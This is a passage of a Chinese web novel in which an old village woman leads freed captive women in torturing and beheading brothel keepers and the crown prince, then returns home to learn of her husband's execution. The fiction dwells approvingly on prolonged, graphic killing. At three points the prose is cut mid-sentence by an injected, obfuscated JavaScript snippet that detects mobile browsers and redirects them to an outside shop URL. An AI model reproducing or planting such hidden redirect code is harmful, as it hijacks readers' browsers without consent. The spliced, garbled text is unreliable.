不过,任凭对方之后如何痛哭流涕地求饶,她也还是一刀接一刀地砍着。 未曾有丝毫犹豫。 她要把这些人,在地牢里的女人心里种下的恐惧,一刀一刀地还回去。 一刀就利落地砍下来,是没什么意思的,死得太快,一点儿也不痛苦。 钝刀杀人,每一刀下去,都会带给人一点儿希望。 可随着一刀刀地砍下去,终究会把那点儿微毫的希望给掐灭。 一刀无痕,再一刀还是无痕,十刀下去,就会皮开,二十刀下去,就会肉绽。 三十刀下去,会露出白骨。五十刀下去,脊骨轻微断裂。一百刀下去,这颗头才能彻底地滚落下来。 花祝年像个冷静的疯批。 既没有杀人的激动,也没有杀人的胆怯,好像是在田地里掰苞米一样。 只是这棵苞米,要掰好久好久。 但没关系,总会掰下来的。 小枣树精看得瑟瑟发抖,忍不住对衡羿说道:“她是真癫。不是,你到底喜欢她什么啊?” 69. 那你准备就这么瞒着? 小信徒癫癫的,这是衡羿早就知道的事。 哪个正常的小女孩儿,会去刑场上拎个筐,捡千古罪臣的碎肢啊? 还跟一堆碎肢成亲…… 甚至,她都没问过他愿不愿意,直接就以亡夫的名义立了碑。 就这么强娶了他。 她癫了不是一天两天了。 三十年都这么癫过来了,只是被生活的日常给掩盖住了。 可能是精神内核太过强大的缘故,只要她自己觉得没什么问题,久而久之大家也就习惯了。 可衡羿看了她三十年,他是知道她癫的。 癫到什么程度不好说,总之跟正常的凡人,不太一样。 从一开始,她就是与众不同的。 他活了这么长时间,也没遇见过这么癫的。 其实,那日贺平安他们杀流兵的导火索,并非是鲁绒绒差点被抢走。 当时还处于对峙阶段。 倘若有一方怕事,也不是不能妥协的,至少不会闹出那么多人命。 攻守易型的关键节点,就在于他的小信徒拿起炒菜的锅铲,上去就把一个流兵的眼睛给戳了下来。 你说这…… 这肯定是难以平息的,干脆一不做二不休,就把那些流兵给都解决掉了。 在某些事情上,小信徒脾气比贺平安还暴。 她比他还忍不住。 所以,看见今日钝刀杀人的场景,衡羿并不觉得惊讶。 她本就是做得出这种事的人。 普通的小老太,是不会如此暴力的,可花祝年不是普通的小老太。 她从未臣服于岁月。 岁月算个什么东西呢? 不过是在脸上多添几道皱纹,让声音变得低沉沙哑,肚子上长几十斤赘肉而已。 说破大天了,也就这些东西。 除此之外,还能怎么样呢? 岁月可以改变她的容貌、声音、身材,却无法使她的心发生丝毫改变。 她的心,永远坚定锐利,像一把厚重的刀。 只是,那把刀,从来不会伸向无辜者。 至于,小枣树精问他,他到底喜欢她什么呢? 衡羿是不喜欢小信徒的,一个神没办法偏爱任何凡人,就连一点点微毫的喜欢也不行。 但是,如果是薛尘的话,他对她就不仅仅是喜欢了,而是……仰望。 是的,他仰望她。 仰望她安之若素的坦然。 她总是能很快地进入人生的各个角色,并很好地完成。 不会花时间在自我消耗上。 一个家道中落的女子,变成山野村妇,本是件值得伤春悲秋之事。 可是这三十年,他从来没有在她的身上看到过这种情感。 她在家的时候,总是安安静静地做家务,在外也从不提起过往的荣光。 不同于那些时运不济遭到贬谪的诗人,满腔都是抑郁不得志的愤懑。 她没觉得做山野村妇有什么不好。 家里的小院子,总是收拾得干干净净的。 做山野村妇和做权臣夫人,可能对别人而言,差别很大,一念之差造成一生的遗憾。 可对她而言,是没什么区别的。 因为,当朝权臣和山野糙汉,也没什么区别。 只不过是男人而已,她一个也不喜欢。 花祝年砍得累了,索性把刀丢给了旁人。 “你们谁想砍,就去砍,砍不完,不能下山。” 那把刀终究还是被人捡了起来。 花祝年坐在另一个死刑犯身边,吃着枣糕同她聊天。 在衡羿的记录里,这位,是从街上物色女人的。 面相很是和善,甚至看起来有几分柔弱。 看来有时候,也不能只看面相。 花祝年撕了一块枣糕喂到她嘴边:“你尝尝。” 对方哭着把东西吃了进去,哽咽吃东西的样子很是惹人怜爱:“夫人,我不想死。” “我知道,我也不想杀人。” 对方可怜兮兮地哭诉道:“我也是被逼无奈,我本不想拿吃食去引诱他人。说起来,我也是给人提供了吃住的地方。不然那些无助的女人,就要露宿街头了。” 有些是她明说来做这种事,有些则是以找工的名义骗来的。 但终究,她不觉得自己做错了什么。 死在街上,哪有死在这里好呢? 花祝年慢悠悠地吃着枣糕,吃太快她的胃会不舒服。 她轻喃道:“我知道。在我们那里,有人被逼得没办法了,也会因为一口吃食,就跟人睡觉。” “是啊,夫人,这跟我是没什么关系的。到处都有这样的人,我不过是提供吃食的人。” 花祝年伸手抚去她脸上的泪:“可我不喜欢。如果要真的想帮,就是给人一口吃食,又怎么样呢?” 跪在她另一边的人骂道:“老不死的老妖婆,我们好好的做着生意,又关你什么事?又没让你去伺候人!你使这种暗计来害人,我做鬼也不会放过你的。” 这话并没有吓到花祝年,倒是把一旁拿着刀的女人,给吓了一跳。 刀砍歪了,砍到脊背上了。 花祝年看了对方一眼,沉稳地安抚道:“不着急,慢慢砍,砍坏了也没事。反正都是要死的,不会留有一具全尸。” 花祝年说完,又仔细端详着方才那个,据说做鬼也不会放过自己的人。 这才认出来对方,原来是那个在地牢前,一棒敲死人的狠角色。 “如果鬼真的有那么大本事的话,那最该担心的人,恐怕是你吧。这些年,你不知道一棍敲死了多少人。你怎么不怕她们来找你报仇?” 对方蓦地沉默了。 当初她敲死人的时候,是没有把那群人当人的。 只当成不听话的狗。 不过,在闷了半天后,终于还是忍不住,憋出来了一句:“你犯下这么多杀戮,不怕上天降下责罚吗?” 人在很无助的时候,是会祈求上天来救自己的。 花祝年在三十年前,经历过这样的时刻。 可惜,上天根本不理她。 她缓缓地抬起头,看着这万里晴空:“老天爷这个狗东西,瞎了不是一天两天了。如果别人作恶的时候,他不管,那等我惩罚的时候,他也不必管。” 衡羿的确没有管。 他能管得了她什么?不挨她大巴掌就是好的。 她也从未听过他的话。 到了晌午了,日头越来越毒。 花祝年好几天没睡过安稳觉了,她看着院子里的人说道:“我去睡一会儿,你们砍你们的,不用管我。” 外面库库地砍头,伴随着惨叫和骨骼断裂的声音,而她在里面睡得正酣。 刚刚,她没有骗那个女人。 她内心,是不想杀人的。一点也不想。 可谁让赶上了呢? 越来越多的人,从地牢里走了出来。 花祝年磨的那把钝刀,越砍越钝,大家把心中的恨意都发泄尽了,一个人头颅还没砍下去。 半掉不掉地垂落在那里。 从大清早一直砍到了晚上,花祝年夜里是被衡羿喊醒的。 她睁开眼睛,疲惫地问道:“人砍完了?” “一整天,才砍了五个。那把刀太钝了。” “她们砍尽兴了吗?” “看着还行,反正大家都挺累的。” 花祝年被衡羿搀扶着从床上起身:“换刀砍,砍完下山。” 衡羿担心道:“你要不要吃点东西?今天只吃了几块枣糕。” “不吃了,越吃越困。” 花祝年换了把快刀,刀身上映着冷冷月光。 她走到看场子的人面前,手起刀落,一颗人头利落地滚落下来。 那把快刀从她手中离开后,就在地牢里的女人之间流转着,每个人都上去砍了一个。 之前让那些女人用钝刀砍人,除了泄愤和折磨人之外,也是在做一个漫长的铺垫。 她担心直接让她们手起刀落地杀人,对方会有心理障碍。 只有用钝刀经历了千百次地砍伐后,才能锻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533602|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炼出杀伐果断的心性。 早些年在花家的时候,她看兵书上都是这样训练人的。 可惜,一直都没机会尝试。 囡吉始终都不敢动手,她看着道观里的人砍得差不多了,就走到花祝年面前劝说道:“夫人,这里的经营者,固然罪大恶极,可已经尽数解决了。至于那些男人,就放了吧。” 花祝年不只绑了看场子的女人,还把所有招妓的男人也绑了。 白天用钝刀砍得太慢,以至于到现在一个男人都没杀。 尽管他们怕得要死,可仍旧抱有着一丝幻想,甚至有暗暗贿赂囡吉的人。 可囡吉并未被贿赂,她来求情,单纯是怕惹上麻烦。 坏了人家的场子,砍杀几个看场子的,老爷是可以摆平的。 可是,这些男人里,有不能得罪的人。 囡吉继续求情道:“他们只是招妓而已,罪不至死的。” 花祝年轻笑道:“当然罪不至死了。在这个世道现有的法度下,他们是永远不用死的。做什么事,都可以被原谅。” 金身罗汉对衡羿问道:“你觉得,她会留下那些男人吗?” 衡羿没有说话。 因为,这是一个毫无疑问的问题。 她不会。 她内心的规则,和世俗的规则,总是相悖的。 不然也不会为了救贺平安那些人,大老远地来到这里,去求她最讨厌的人。 这个世道越捧着的人,她就越是要将他们千刀万剐。 世道越不容的人,她就越是要送他封神。 这个犟种,从来都是如此。 囡吉眼看着那些女人,已经开始去杀男人了。 她忽地跪了下来:“再杀下去,我们都会死的。” “不会。我们不杀,才会死。把他们都杀了,就没有人来追查了。” 囡吉哭得特别无奈,她觉得夫人根本没有意识到,有些人是不能惹的。 “若是旁的男人,杀了也就杀了。可是,这里面——” 花祝年不解道:“这里面怎么了?有你家的亲戚?” 囡吉痛哭着摇头:“我这样卑微,怎么会和这里的人扯上关系呢?” “既然没亲戚,你还哭什么?你别担心,这里的人都是我杀的,全都记到我的头上。” 囡吉无奈至极,只能和盘托出:“可是,这里面,有太子!若是杀了他,皇上肯定会追查的。” 花祝年顿时兴奋起来,人都不怎么困了。 “哪个是太子?我去抽他两巴掌。他大爷的,他家老子怎么管的这天下?不扒了他的皮就是好的!” 囡吉吓得顿时瘫倒在地上。 小枣树精觉得花祝年真是狂得没边儿。 哪儿来这么大的脾气啊? 他看着身旁的衡羿,一个劲儿地纳闷儿道:“你是跟你小媳妇儿,表露身份了吗?她现在是在人间,一个山野村妇,要抽当朝太子两巴掌!” 金身罗汉想起她烧死自己那些佛弟子的场景。 忽地淡然笑道:“别说太子了,天王老子来了,也得挨她两巴掌。她是那种,如来佛祖你坐下,我跟你唠唠心里话的小老太。” 小枣树精不解道:“所以,衡羿仙君,你到底有没有亮明身份啊?她是不是仗着你,才这么敢的啊?” 不等衡羿回答,金身罗汉就忍不住调侃道:“他亮什么身份?他现在哪里还敢亮身份。他的小妻子,若是知道他早就封神了,还待在天上三十年不告诉她,人间又被治理得这么乱,他在天上高高在上地不闻不问,那就不只是扇巴掌的事了,杀上九重天都有可能。” 小枣树精八卦道:“那你准备就这么瞒着?总有瞒不住的一天吧!等你小媳妇儿死后,你不是要去接她么?到那时候,你也不跟她说实话?” “就让她糊里糊涂地去投胎,还是你准备给她安排个神职啊?可你若是给她安排职位了,那她总会知道你的真实身份。到时候肯定会发脾气!她在人间就这么蛮横暴躁,等到了天上那还不得揍死你。你们以后,可怎么办啊?我光是想想就为你们发愁。” 70. 她有她的守护神 不光小枣树精发愁,衡羿也时常为这个感到头疼。 他不知道该如何安放她。 如果她能听话一点就好了,他就能随便糊弄糊弄她,然后送她去投胎。 跟这一世做个了断,他再也不用想起她。 她彻底沦为过往的一粒尘埃,无法在他的心里面兴风作浪。 可她偏偏,是从不听话的。 倘若她真的沦为孤魂野鬼,神魔都知道他们曾经的关系。 他到底是捞她,还是不捞她呢? 况且,说捞不捞的都还太早,到时候她跟不跟他都未必。 她成了孤魂野鬼,迟早有一天,会知道他究竟是谁。 那时,她又该怎样看待跟他的关系呢? 衡羿根本想象不出来,一个犟种到时候会怎么做。 因此,他总想着,能多留她一段时间。 他并没有想好,该如何面对她,又该如何处理跟她之间的关系。 唉。 金身罗汉看他这发愁的样子,随口谈笑道:“倒也不必如此忧心忡忡,像她这样罪孽深重的人,我随手就用缚魔索捆地狱去了。” 衡羿还来不及回答,就听见一声响亮的巴掌声。 太子到底还是被出卖了。 他在朝中是太子,在道观中是太子,在王公贵族中是太子,可在花祝年面前,就是个挨抽的。 跟大街上那些挨抽的恶霸,没什么不同。 并且,太子还是被身边人出卖的。 出卖他的人,是曾经去宋礼遇那里,喝过喜酒的一位纨绔子弟。 “他、他就是太子!要杀先杀他。” 说完又跟花祝年套近乎道:“宋夫人,我跟我爹前不久,才去宋家喝过喜酒。我爹跟宋大人,交情颇深。” 花祝年顾不着理他,径直走到太子那里。 还来不及说话,太子主动说道:“我回去后,一定上表父皇,让他多关注民生,眼睛多往下看。不折腾百姓,不乱加赋税。取缔全国所有的妓院,把开妓院的都抓进去。” 太子也没想到,出来招个妓,还能遇到这种残忍至极的事。 他可是前呼后拥的太子啊! 怎么能死在一个暴躁小老太手上呢? 太子还是有些真本事的。 他平日里就经常揣摩帝王心思,如今揣摩一个小老太的心思,倒也不是难事。 若非是过不下去了,也不会残忍至此。 花祝年苍老的手,摸着对方的后颈:“你们这不是,什么都知道吗?怎么就是不干人事儿啊?” 太子谦卑至极地周旋道:“这次,这次您放我回去,回去后,我一定洗心革面,重新做人。” 花祝年忽地沉默了。 太子以为她是犹豫了,连忙抓住机会说道:“夫人,您也有儿子吧。可怜天下父母心,怎么能让白发人送黑发人呢?我会改的。” 他确实觉得,招妓不是什么大事儿。 就算他勾结朝臣,父皇都会原谅他,睡几个女人算得了什么? 如果不是遇到这个小老太,他这辈子都不会低这个头。 真是没遇见过这样的。 回去后,都会整宿整宿做噩梦的那种。 他此生都不想再看见小老太了。 花祝年想起了自己的三个儿子,都是十几岁的年纪,就上了战场。 家里没什么钱,没人愿意把女儿嫁过来受苦,她也没能给他们娶房媳妇儿。 她的儿子在战场上受罪的时候,皇帝老儿的儿子在女人堆儿里声色犬马。 花祝年缓缓地扬起了刀。 太子忽地慌了神,他也不知道怎么会这样。 明明他揣摩别人的心思,一向很准。 这次,怎么可能失误? 在朝中整顿吏治,让百姓休养生息,这不是她想要的吗? 为什么还是要砍他的头? 她是不是疯了? 花祝年没有疯。 她的确很想过几天太平的日子。 可是,她从未把希望放在这群骄奢淫逸的人身上。 她活了这么多年,要是能被一个毛头小子,随便讲几句忧国忧民的话给哄了。 那不是白活了吗? 太子痛哭道:“我不想,不想人头落地。我是太子,是天潢贵胄!” 花祝年安慰道:“我不会让你人头落地的,放心吧。” 太子仰起头看着她:“真的吗?” 花祝年缓缓地放下刀:“当然啦。我从来,不骗人。” 下一秒,太子的头就飞了出去,落在了那颗枣树上,果然没有落地。 吓得小枣树精一激灵:“天杀的,我这是造了什么孽!” 花祝年砍别人的头,都是从上往下。 唯独砍太子的,是从下往上,猛地削了过去。 今晚,院落中被绑的那些人,无一生还。 包括那个跟花祝年套近乎的贵公子。 呵,跟宋礼遇掺和在一起的,能是什么好东西? 花祝年让每个女人,下山之前,都至少带个人头。 准备挂在山间的树上。 大红人头高高挂,一眼望过去,漫山遍野的人头,这样看着才安逸。 小枣树精跟衡羿小声逼逼道:“残暴,她实在是太残暴了!当初若是没发现那个地牢,如今也不会有这场杀戮。” 对于小枣树精来说,他也并非是不同情那些地牢里的女人。 只不过,他当妖精这么多年,还没遇到过这么可怕的小老太。 无论是妖精还是恶人,吃人杀人的,都是为了自己的口腹之欲。 可是,这个小老太,好像没有欲望一样。 无情地接近于道。 这是很可怕的。 因为无情无欲,所以没有软肋,让人无从突破,无所贿赂。 她手里的刀,砍得卷刃了,都没想过停留分毫。 衡羿始终是那样冷静地看着他的小信徒。 他看她受难,也看她杀人。 无论她做什么,他好像都爱看,他是这个世界上,唯一不会审判她的人。 就连一直等着接花祝年,去地狱受罚的金身罗汉,也不免感叹道:“对于一个山野村妇来说,她杀的人是有些多。可对于社稷主,天下王来说,还是杀少了。” 小枣树精不服气道:“她又不是皇帝,怎么会是社稷主,天下王?” 金身罗汉反问道:“谁说只有帝王才是社稷主,天下王?依我看,能配得上这几个字的帝王,都是世间少有。” 小枣树精没有读过多少书,他涉世并不算深,要不然也不会几百年才修成一个小孩子模样:“那怎么样,才算是社稷主,天下王?总不能连帝王都不配的称号,给到一个满手鲜血的暴躁小老太身上!” 衡羿想起书里的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546371|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着小信徒颤巍巍的身影,不禁说道:“受国之垢,是谓为社稷主。受国不祥,是为天下王。” 不是坐在皇位上,整日里折腾百姓,就成了什么不起的人物。 那不过是在仗势欺人而已。 世人皆迷信于帝王的权威,殊不知对方那至高无上的权力,正是自己交付出去的。 一个昏庸的帝王,就算吹得再光鲜,也不过是联合士族大肆敛财的工具。 真正的社稷主,天下王,刀尖会向内,剥离腐烂的血肉。 不惜一切代价。 金身罗汉回头看了小枣树精一眼:“你这还整日修道呢?这是你们道家书里讲的,都不知道。” 衡羿轻笑道:“别难为他了,他只修术,不修道。” 有术无道,即便修成人形,也会被天雷重新打回去。 否则,容易成祸患。 女人们拎着人头下山的时候,花祝年又喊住她们,让大家等一会儿。 她提着刀,就朝着小枣树精走了过来。 小枣树精摇曳着叶子:“啊啊啊,你补药过来啊!我就是个树精,挪也挪不了坑,又不能干预人间因果,这事儿跟我没关系啊!上天有好生之德,我还不想死啊。” 花祝年提着刀,库库地砍了些枣树的枝干下来。 又劈成一小段一小段的。 她将那些枣木块分发下去:“书上说,雷击枣木,有天罡正气,能驱除邪祟。” 她知道,这些人都是第一次杀人。 难免会心有余悸。 带块雷击枣木下山,算是她给她们最后的祝福吧。 花家曾经高价进过一批雷击枣木。 可是,后来发现是假的,花夫人就让人全都销毁了。 花祝年活了这么多年,也是第一次见,被雷击的枣树。 下山后,宋礼遇派来跟着她的家丁,吓得四散奔逃。 估计是原路返回报信去了。 花祝年身边,只剩囡吉和衡羿。 等所有人坐着她送的马车,走得看不见人影后,她才终于支撑不住地倒了下来。 刚刚一直都撑着一口气。 她怕自己过早地倒下,会让那些人以为,真的会有什么报应降临。 就算有,全降临在她身上就好。 不必去折磨旁人。 她已经是一个老太太了,并不害怕命运波折,可她们,日子还长。 囡吉哭得泣不成声,她现在已经不害怕被老爷喂野狗了,而是不想夫人死去。 她想她,长命百岁。 花祝年躺在两人的臂弯中,看着远山上飘飘荡荡的人头。 “安逸啊,真是好安逸。以后,再没人敢在深山老林里设妓院了。” 这僻静的地方,杀了人,可能都要好多天才发现。 况且,又有谁愿意惹事,上赶着去报官呢? 衡羿用自己的衣袖,轻柔地擦去她眼角渗出的血珠。 “岂止是妓院,被你这么一吓,恐怕什么营生,都不敢再在这里干了。一抬头,就是一个人头。” 花祝年闭上了眼睛,声音愈渐地微弱:“本来,就不该干。” 花祝年是不怕鬼的,那些能辟邪的雷击枣木,她一块也没有留给自己。 因为,她有她的守护神,是用不着那个的。 她轻抚着怀里的木盒,用最后的气力说道:“后生,带我回家。” 71. 你这个忘恩负义的老女人 落叶归根。 无论走了多远的路,她最终,都是要回到原来的地方的。 那个她生活了三十年的家。 贺平安那个糟老头儿,应该在家里等她。 之后的几天,花祝年一直是昏迷的状态。 唯一动静比较大的一次,是囡吉担心她抱着木盒睡觉不舒服。 想要强行将木盒从她怀里抽出来,结果花祝年直接从床上坐了起来。 可人还是昏迷的,只是无意识地那种动作。 囡吉吓了一跳,连忙安抚解释,这才扶着她重新躺下。 木盒最后还是被她拿了出来。 衡羿在客栈的后厨熬粥,熬专门喂给小信徒的粥。 客栈的伙计熬粥,不适合喂给虚弱的病人。 要么都是米,要么都是汤。 他要的,是米油。 等他端着粥回到房间时,却看到囡吉虔诚地在拜小泥人儿。 一瞬间,衡羿以为自己看错了。 “你怎么也拜起这个来了?” 他的话语中,暗含轻蔑。 衡羿生平,没什么讨厌的东西。 除了这个破泥人儿! 小信徒半点儿都认不出他,只认那个破泥人儿。 她把所有的希望,都寄托在上面。 可惜,破泥人儿从未显灵过,一直在问她索取信仰。 其实,就连薛尘,衡羿也是不喜欢的。 他厌恶那一世。 厌恶那种自己跟个傻小子一样,被一群权谋者设计进死胡同,却全然不知的蠢感。 月老知道他当时有气运加身,又有平乱的天命在,所以给他挑了一个可以成就他的妻子。 有她,他就能做开国君主。没有她,他就什么也不是。 那种把眼睛遮住,只给特定的技能,却看着人在苦海中挣扎的荒诞,衡羿想想就有种被耍的感觉。 要么怎么说造化弄人呢? 他是彻彻底底地被玩弄了一番。 可是,他的小妻子,却坚定留于世间。 只要内心足够强大,任谁也奈何不了她。她能给一个破泥人儿赋予灵魂,给并不存在的救世主捏造神力,给芸芸众生重塑信仰。 她,才是真正的平乱者,也是创世者。 破泥人儿的一切,都是她添加给他的。 没有她,那就是一滩烂泥! 就像,前世的薛尘一样。 可是囡吉却不这样认为,她并不知晓事情的来龙去脉。 只知道这个泥人儿,对夫人极为重要,并且还很灵验。 “当初,我们就是拜了拜这个小泥人儿,然后每月的家用就涨了一百两。” 衡羿让小信徒靠在自己身上,小口地往她嘴里喂着粥。 “那不是小泥人儿的功劳,是她跟宋礼遇私下里说过的。” 囡吉仍旧跪在地上:“可是,夫人相信他。像夫人那样勇猛的人,是很难信服什么人的。这个小泥人儿,一定有特别的力量。” 衡羿不再劝她。 随便吧。 乱世的人,绝望透了,也傻透了。 他并不想拯救任何人。 只是,他的确觉得自己的小信徒很厉害。 到哪儿都能跟人传教收徒。 若是真的再给她个几十年寿命,这教别真让她传成了。 他们并不会长期住客栈。 只有需要换马的时候,才偶尔会住上一晚。 其他时间,都在赶路。 因此,比预计的要早回去。 更重要的是,他知道,自己的小信徒,撑不了多久了。 离家越近,衡羿的心情,越是复杂。 他真的要就此埋掉她了。 只是,埋掉之后,真的能忘记吗? 他们的马车,刚到村口,囡吉就发现周围聚集了不少人。 离车很近。 大有上来抢东西的架势。 囡吉吓得连忙放下帘子,她下意识地抱住了花祝年的手。 这些天,夫人虽然没有醒过,可是每当她六神无主的时候,都会将夫人的手抱在怀里。 好像这样就能镇定一些。 衡羿在前面驾着马车,突然看到人群中,冲过来了一个人。 对方腰间还插着把菜刀。 他认得出来,这是,王寡妇。 她之前,要活埋了小信徒,还给贺平安带过拆骨肉。 王寡妇扒着板边就蹿上了车,不仅如此,还一脚将他踹了下去。 衡羿刚从地上坐起来,就看到囡吉也被她从车里丢了下来。 王寡妇揪起花祝年的衣领,也不管她睡不睡的,直接破口大骂道:“你装你娘的贵夫人呢?老不死的贱玩意儿!去了趟京城,可把你给牛逼坏了。你这个忘恩负义的老女人,还回来做什么呢?” 花祝年本来昏昏沉沉的,愣是被王寡妇给骂醒了。 她迷茫地睁开眼睛,以为刚才的骂声是梦,所以看见王寡妇还是很开心的。 “我终于,到家了。” 王寡妇看见她醒了过来,一巴掌抽了过去。 刚打完,囡吉从后面掐住她的屁股,想要将她拉拽出来。 结果被王寡妇抽出菜刀,照着肩膀上就是一刀:“小贱人,别来掺和我们老姐妹儿之间的事!” 血溅了囡吉一脸,衡羿连忙撕下一块布料来,帮她止血。 他虽然知道,回村子里,会不太安宁,但没想到会这样不安宁。 王寡妇也是个至情至性的人,她是真的喜欢贺平安。 花祝年看见囡吉被砍了一刀,上手就夺王寡妇的菜刀:“你疯了么?为什么砍她?” 王寡妇气红了眼睛:“我更想砍你!你以为我不敢吗?” “到底怎么了?” 王寡妇冷笑一声道:“怎么了?你会不知道怎么了?不是去京城攀高枝儿去了?怎么,你的老相好看你年老色衰,没看上你,又把你给赶回来了?” 花祝年倒也不觉得生气,她出发前,为了震慑那些流兵,的确说的是自己京城有老相好,在做大官。 她是有人罩着的。 让他们不要轻举妄动。 她对王寡妇解释道:“我是为了救人,才那么说的。那个人,并不是我的相好,只是早年间认识。” 王寡妇上去又抽了她一巴掌:“救人,你救了么?你救的哪门子人呢?贺平安他们早就死了!斩人的令,就是从京城下来的。” 花祝年本来被病痛折磨着,半点跟王寡妇吵架的力气都没有。 现在直接被气得强势起来。 “你说什么?” “别在我面前装!我知道,你一向不喜欢贺平安。你这个女人也是有病,你不喜欢干嘛要嫁他呢?你干嘛耽误他三十多年?你的青春是青春,他的就不是吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556398|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人家家户户,连饭都吃不起的日子里,他都给你赚钱,供着你那个前夫,供你拜那个破逼溅泥人子,你对得起他么?” “他们行刑的那天,刚好就是你跟你那个老相好,成亲的日子。谁不知道,你是借了老相好的势,来斩杀的贺平安。” 花祝年急切道:“我怎么可能,做这种事?” “怎么不可能?你又不喜欢他,他天天折磨你,死也不肯放开你,你早就恨他入骨了。” “我确实不喜欢他,但没有想过让他死。这些年,我有把他当丈夫对待的。” 花祝年其实挺冤枉的。 别人对她的印象,大多都是从贺平安那里流传出来的。 再加上邻居鲁大梁夸张的渲染。 可实际上,她除了爱拜拜小泥人儿,是没有什么错处的。 并没有真正地和除了贺平安之外的男人胡搞过。 她根本没这个心思。 况且,如果不是把他当丈夫,她怎么可能每次都不拒绝跟他睡? 在她看来,他们之间和寻常夫妻,是没有太多不同的。 王寡妇越说情绪越激动,她是真的心疼贺平安。 “你若是想逃离贺平安,反正他也被抓起来了,你想跟谁双宿双栖,就跟谁双宿双栖,没有人拦着你!可是,你千不该,万不该,找人弄死他。他这一辈子,有什么对不起你的呢?他只是爱你,他想你的心属于他,他有什么错?” “你这么对他,简直是没有良心!况且,你若是实在恨贺平安,你只斩他一人就好。何苦连累那么多男人,都跟着他一起被斩头?” “你知不知道,那些女人,自从家里没了男人,有的被流兵抢走了,有的被山匪抢走了,还有你一直当女儿看的鲁绒绒,她娘柳春给她找了个年轻的后爹,结果那后爹想要轻薄绒绒,绒绒慌得拿起菜刀就砍,后来跟柳春告状,柳春不但不信,还扇了她一巴掌!之后她就下落不明了。” “全都是因为你,你可把别人给害惨了。你自己倒是去京城吃香的,喝辣的了,哪里管过别人的死活呢?你口口声声说要去救人,那些老姐妹儿们凑了那么些个钱给你,谁知道你是去借刀杀人的?” “你现在风风光光地坐着大马车回来,是想干什么?看看这些人被你害的有多惨么?要不是看在你早些年帮过我的份上,我这把刀就砍在你的脖子上了!” 王寡妇对着花祝年狠狠发泄了一通。 她这些天就是靠着找她算账活着的。之前一直想熬死她,然后占了贺平安这个男人。 可现如今,她连她最后的希望也给夺走了。 王寡妇也不想活了。 一想到身后这么多事儿没了结,花祝年现在都不敢死了。 原本泄下去的气,又硬生生地顶了上来。 她担心地问道:“绒绒去哪儿了?” 王寡妇大怒:“我怎么知道?你真的关心她吗?关心她为什么把后生也带走?你自己去找你的老相好啊!现在这世道,她一个小姑娘,流落在外的,能有什么好去处?” 花祝年坚强了很久的心,突然就脆弱得一塌糊涂。 不仅仅是人没救成,还有因为自己,让他人家破人亡的愧疚。 她低头道:“是我的错。” 王寡妇用菜刀哐哐地砍着车梆:“当然是你的错!柳春糊涂被男人骗就罢了,你好歹留个男人照顾绒绒啊。倘若那后生在的话,绒绒也不会下落不明!” 72. 你先嫁了他 世间最大的谎言,大概是欺骗世人,大家一直都生活在同一时空下。 只要按部就班地走,不会有人出来破坏,总能过上想要的生活。 可实际上,不是的。 宋礼遇娶到年少挚爱的那天,全京城的有头有脸的人,都带着重礼过来道贺。 那不过是他风光一生中,最微不足道的时刻。 而在那样的时刻里,贺平安他们,在被处以极刑。 处刑后,别说是下辈子,就是下下下下下辈子……那些人也未必能拥有宋礼遇的半分风光。 宋礼遇在当前时空下,所拥有的一切,是那些人无数辈子,跨越无数时空,也追赶不上的。 隔绝时空的,不是距离,是资源。 达官贵人的女人在深宅大院里奢靡成风,寻常人家的女人在地牢里被链条锁着生不如死。 这怎么会是同一个时空之下呢? 帝王需要驯牧百姓,于是,教人修身养性,导人向善的儒释道,就成了压得人永世不得翻身的工具。 一个用君臣父子来规训,一个用度众生苦厄来安慰,一个用顺其自然来偷安。 有些词在原本的教义里是对的,可若是被贼人利用,那就是世间最邪恶的事。 比起这些冗长而繁重的枷锁,花祝年拿着刀库库砍几个人头,实在算不上什么痛快的事。 而就连她提着刀,库库砍人的时候,鲁绒绒也拿着菜刀,在捍卫自己的尊严。 只是,她们所处的时空,也是不相同的。 花祝年身边好歹有个后生能帮着绑人,有一堆女人的怒火撑着场子,来维持这场酣畅淋漓的杀戮。 可鲁绒绒身边,是什么也没有的。就连她娘,也不站在她身边。 她心里当然有恨,对所有人的恨。 家中虽然不算富贵,可也是被爹娘宠着长大的。 到了出嫁的年纪,却差点被抢走。 好不容易占下了个男人,还被邻家的小老太带走了。 娘给自己找了个年轻的后爹。 可后爹图的并不是娘,原来是自己。 娘被后爹迷惑,也不相信她。 她有足够的理由恨这个世界。 也会因为这种彻骨的恨意,给花祝年最为致命的一击。 她根本不想听她解释,为什么把本该属于她的男人带走了。 对鲁绒绒而言,花祝年这个老不死的,是跟她争抢保命资源的人。 资源只有一份,她带走了,那她就用不上! 底层本就是混乱的厮杀场,有种从没被规训过的癫狂感。 